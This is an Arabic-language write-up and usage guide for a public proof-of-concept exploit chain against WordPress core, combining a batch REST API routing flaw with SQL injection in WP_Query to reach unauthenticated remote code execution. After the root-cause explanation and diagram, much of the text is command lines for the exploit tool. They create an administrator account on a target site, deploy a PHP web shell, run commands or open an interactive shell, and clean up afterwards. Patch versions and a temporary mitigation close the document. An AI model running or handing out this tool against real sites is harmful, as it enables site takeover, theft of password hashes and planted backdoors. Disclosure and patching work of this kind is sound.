
إثبات مفهوم (PoC) لاستغلال SQLi في REST API الخاص بـ WordPress للوصول إلى RCE (CVE-2026-63030 & CVE-2026-60137)
الخلاصة (TL;DR) — يمكن لمهاجم غير موثّق أن يجمع بين خلل في توجيه الطلبات المجمّعة في REST API الخاص بووردبريس وحقن SQL في
WP_Queryللوصول إلى تنفيذ كامل للكود عن بُعد على تثبيت ووردبريس قياسي — دون إضافات، ودون حساب، ودون أي تفاعل من المستخدم. اكتشفها آدم كويز (Assetnote / Searchlight Cyber)، وأطلق عليها اسم wp2shell. تم تصحيحها في 17 يوليو 2026 في الإصدارات 6.9.5 و7.0.2 و6.8.6.
CVE-2026-63030 هي ثغرة في نقطة نهاية الطلبات المجمّعة (batch) في REST API الخاص بنواة ووردبريس (/wp-json/batch/v1) التي تتعامل مع الطلبات الفرعية الفاشلة بشكل خاطئ لدرجة أن طلبًا فرعيًا لاحقًا يُوجَّه عبر مسار خاطئ. وهذه وحدها خلل منطقي. لكن عند دمجها مع CVE-2026-60137 — حقن SQL في معامل author__not_in الخاص بـ WP_Query — تتحول إلى تنفيذ كود عن بُعد قبل المصادقة.
صنّفت ووردبريس ثغرة CVE-2026-63030 بدرجة حرجة (Critical) وCVE-2026-60137 بدرجة عالية (High)؛ وتختلف تقديرات CVSS الخارجية حسب المتتبع (حوالي 7.5 و9.1 على التوالي)، إذ لا يعكس أيٌّ من الرقمين منفردًا التأثير الكامل لما تفعله السلسلة كاملة. تعامل معها على أنها حرجة بغض النظر عن الرقم الفردي المعروض عليك — فقد رأت ووردبريس أنها خطيرة بما يكفي لفرض تحديثات تلقائية على كل موقع متأثر.
السبب الجذري — فقدان التزامن في سجلات الدفعة. عندما يفشل طلب فرعي في الدفعة في التحقق، يُسجَّل كائن WP_Error الناتج في مصفوفة $validation[] الداخلية — لكن المصفوفة الموازية $matches[] المستخدمة في التوجيه لا تُحدَّث لتطابقه. هذه الفجوة بعنصر واحد تُزحزح كل طلب فرعي لاحق موضعًا واحدًا: يصير الطلب الفرعي N موجَّهًا باستخدام معالج المسار المخصص للطلب الفرعي N+1.
تجاوز التعقيم. عند تنفيذ الطلب الفرعي تحت معالج لم يُوجَّه إليه أصلًا، يتجاوز الطلب التحقق من المدخلات الخاص بذلك المعالج — بما في ذلك فحوصات النوع وفحص is_array().
حقن SQL. تتيح هذه الفجوة وصول المدخلات التي يتحكم فيها المهاجم إلى معامل author__not_in في WP_Query كسلسلة نصية خام بدلًا من مصفوفة. حارس is_array() الذي كان سيرفض ذلك في الوضع الطبيعي لا يُنفَّذ أبدًا، لذا تُدرج القيمة مباشرة داخل جملة NOT IN (...).
مسار الاختراق. الحقن مقتصر على SELECT — لا استعلامات متسلسلة (stacked queries) — لكن على المضيفات التي يمتلك فيها مستخدم قاعدة البيانات صلاحية FILE، يكفي ذلك لكتابة قشرة ويب PHP داخل جذر الويب (web root). وحيث لا تتوفر الصلاحية، يمكن لنقطة الحقن نفسها بدلًا من ذلك سحب جدول wp_users عبر الحقن الأعمى أو UNION للحصول على تجزئات كلمات مرور المسؤول. في كلتا الحالتين: لا حاجة إلى حساب أو إضافة أو أي تفاعل من المستخدم.
sequenceDiagram
participant A as Attacker
participant B as Batch Handler
participant Q as WP_Query
participant D as MySQL
A->>B: POST /wp-json/batch/v1 (crafted multi-request batch)
Note over B: Failed sub-request recorded in one internal array but not the other — indexes drift by one
B->>B: Sub-request N dispatched with sub-request N+1's route handler
Note over B: Wrong handler context — that route's input validation never runs
B->>Q: author__not_in passed as raw string, not array
Note over Q: is_array() guard skipped
Q->>D: SELECT ... WHERE post_author NOT IN (attacker string)
alt DB user has FILE privilege
D-->>A: Writes PHP webshell to web root → RCE
else No FILE privilege
D-->>A: Blind/UNION injection dumps admin password hashes
end
git clone htttps://github.com/GhostInExile/CVE-2026-63030-Wp2Shell
cd CVE-2026-63030-Wp2Shell
pip install -r requirements.txt
python3 CVE-2026-63030.py -t https://target.com --test
# Auto-generate credentials
python3 CVE-2026-63030.py -t https://target.com --create-admin
# Custom credentials
python3 CVE-2026-63030.py -t https://target.com --create-admin -u myadmin -p mypassword
# Auto-create admin, deploy shell, execute single command
python3 CVE-2026-63030.py -t https://target.com --shell -c "whoami"
# Interactive shell mode
python3 CVE-2026-63030.py -t https://target.com --shell -i
# Use existing credentials
python3 CVE-2026-63030.py -t https://target.com --shell -U admin -P password -c "id"
# Cleanup after shell session
python3 CVE-2026-63030.py -t https://target.com --shell -c "whoami" --cleanup
# Cleanup only (requires shell URL from previous session)
python3 CVE-2026-63030.py -t https://target.com --cleanup \
-U created_admin -P password \
--shell-url "https://target.com/wp-content/plugins/maint-xxx/maint-xxx.php"
# Use proxy
python3 CVE-2026-63030.py -t https://target.com --test --proxy http://127.0.0.1:8080
# Custom timeout
python3 CVE-2026-63030.py -t https://target.com --test --timeout 60
GHSA-ff9f-jf42-662q (التباس التوجيه) · GHSA-fpp7-x2x2-2mjf (حقن SQL)CVE-2026-63030) — أبلغ بها آدم كويز من Assetnote / Searchlight Cyber عبر برنامج HackerOne الخاص بووردبريس.CVE-2026-60137) — أُبلغ عنها في تقرير منفصل، كفريق، من قِبل TF1T وdtro وhaongo.6.9.5 أو 7.0.2 أو 6.8.6 أو أحدث — وهو الإصلاح الكامل الوحيد. فعّلت ووردبريس تحديثات تلقائية إجبارية للمواقع المتأثرة؛ تأكد من أن التحديث طُبّق على موقعك فعلًا بدلًا من الافتراض./wp-json/batch/v1 و?rest_route=/batch/v1. إجراء طارئ فقط — فقد يكسر الاستخدام المشروع لواجهة برمجة تطبيقات الدفعات (مثل التحرير القائم على الكتل)، وليس بديلًا عن التصحيح.| إصدار ووردبريس | حقن SQL (CVE-2026-60137) | التباس التوجيه (CVE-2026-63030) | الخطورة الواقعية |
|---|
| < 6.8.0 | — | — | غير متأثر |
| 6.8.0 – 6.8.5 | ✅ | — | حقن SQL فقط — يتطلب إضافة/قالبًا لإدخال بيانات غير موثوقة في author__not_in؛ لا يمكن الوصول إليه قبل المصادقة عبر النواة وحدها. طبّق التصحيح على أي حال. |
| 6.9.0 – 6.9.4 | ✅ | ✅ | RCE بدون مصادقة |
| 7.0.0 – 7.0.1 | ✅ | ✅ | RCE بدون مصادقة |
| 7.1 Beta 1 | ✅ | ✅ | RCE بدون مصادقة (قناة بيتا) |